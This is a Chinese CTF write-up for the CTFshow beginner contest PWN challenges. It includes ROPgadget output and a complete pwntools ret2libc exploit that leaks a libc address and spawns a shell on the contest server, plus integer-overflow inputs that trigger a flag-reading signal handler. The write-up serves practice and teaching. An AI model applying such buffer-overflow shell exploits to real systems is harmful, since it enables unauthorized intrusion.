CTFshow-萌新赛-PWN

admin 2022年1月5日22:52:24评论292 views字数 2441阅读8分8秒阅读模式

>

>

CTFshow-萌新赛-PWN

fffdy

签到题

上手,没有 Canary 也没开随机化地址 (我觉得没开随机化是假的)
CTFshow-萌新赛-PWN
定位到 main 函数内的 gets() 函数,由于没有限制输入,存在栈溢出劫持程序流程
CTFshow-萌新赛-PWN
离栈底 0x70
CTFshow-萌新赛-PWN
64 位系统传参从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9
从第7个参数开始,接下来的所有参数都才通过栈传递

我们需要找到合适的 gadgets,利用 ROPgadget(gdb-peda 也可以)

*>~/Downloads $ ROPgadget --binary pp --only 'pop|ret'
Gadgets information
============================================================
0x000000000040078c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040078e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400790 : pop r14 ; pop r15 ; ret
0x0000000000400792 : pop r15 ; ret
0x000000000040078b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040078f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400608 : pop rbp ; ret
0x0000000000400793 : pop rdi ; ret  //rdi 传入第一个参数
0x0000000000400791 : pop rsi ; pop r15 ; ret
0x000000000040078d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040053e : ret
0x0000000000400542 : ret 0x200a

Unique gadgets found: 12
*>~/Downloads $ 

构造 payload 利用 puts 函数泄漏真实地址(plt 表和 got 表的延迟绑定机制)
然后算出基址 libcbase,并劫持程序回到主函数以便再次利用
用泄露的地址查出 libc 版本,利用 libc 和 libcbase 算出 system() 和 /bin/sh 真实地址
构造 payload getshell

但是 ,尽我所能,各种操作尝试使用 system() getshell,一直
CTFshow-萌新赛-PWN
人都傻了,然后想到了曾经做过的一道题情况类似
原因是栈的字节没对齐(32 位 8 字节对齐,64 位 16 字节对齐,这样对齐的目的是提高效率)
参见x86_64 Linux 运行时栈的字节对齐
对齐只需要在跳转前面来一次空的 ret

#-*- coding: utf-8 -*-
from pwn import * #pwntools
from LibcSearcher import * #用来寻找 libc 
#context.log_level = "debug" #便于调试
p=remote('124.156.121.112',28094)
elf=ELF('pp') #名字和导入的 pwn 模块冲突,改成了 pp

main_addr=0x400687
rdi_addr=0x400793
ret_addr=0x40053e
put_plt=elf.plt['puts']
put_got=elf.got['printf']

pay='a'*(0x70+8)+p64(rdi_addr)+p64(put_got)+p64(put_plt)+p64(main_addr)
p.recvuntil('successful!')
p.sendline(pay)
p.recvuntil('joke')
put_addr=u64(p.recv(6)+'\x00\x00')
print hex(put_addr)

libc=LibcSearcher('printf',put_addr)
libcbase=put_addr-libc.dump('printf')
sys_addr=libcbase+libc.dump('system')
sh_addr=libcbase+libc.dump('str_bin_sh')

pay='a'*(0x70+8)+p64(ret_addr)+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr)#+p64(main_addr)
#                       ^^^^^^^^
p.recvuntil('successful!')
p.sendline(pay)
p.interactive()

CTFshow-萌新赛-PWN
其实遇到这种情况,我看到的网上大多数解决方法是用 execve(“/bin/sh”) getshell
这道题几乎没啥限制,是个 pwn 练手很不错的题目
还有其他的做法像执行栈之类的(应该可以吧,我也没试过)

数学99

IDA 打开发现三道题
CTFshow-萌新赛-PWN
在最后一个 sub_BA3() 中发现 handler
CTFshow-萌新赛-PWN
handler 作用就是读取 flag

但是怎眼触发 handler?肯定和 signal() 函数有关
CTFshow-萌新赛-PWN
看到这篇博客 c/c++ signal(信号)解析
有浮点异常就可以触发,也就是解决他给出的题目
考察的核心就是整数溢出(int 最大为 2147483647 或者 0x7fffffff):
第一关

(int)6-int(21474836477)==9

第二关

(int)19*(int)1808407283==9

第三关

(int)2147483648/(int)-1 或者 (int)-2147483648/(int)-1

第三关在 ustc Hackergame 2018 上出现过(就是 ctfer 爱不释手的能自动获取 flag 的黑曜石浏览器发行的那场 手动滑稽

签退

群主说是 setbuf 可以利用
没见过,先占个坑
学了再试试


admin

最详尽的wp了,赞


chen

签到题那个LibcSearcher怎么printf和put_addr去匹配


fffdy

chen put_got 获取的是 printf 的 got 地址,中途改的,忘了


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日22:52:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTFshow-萌新赛-PWNhttp://cn-sec.com/archives/719448.html

发表评论

匿名网友 填写信息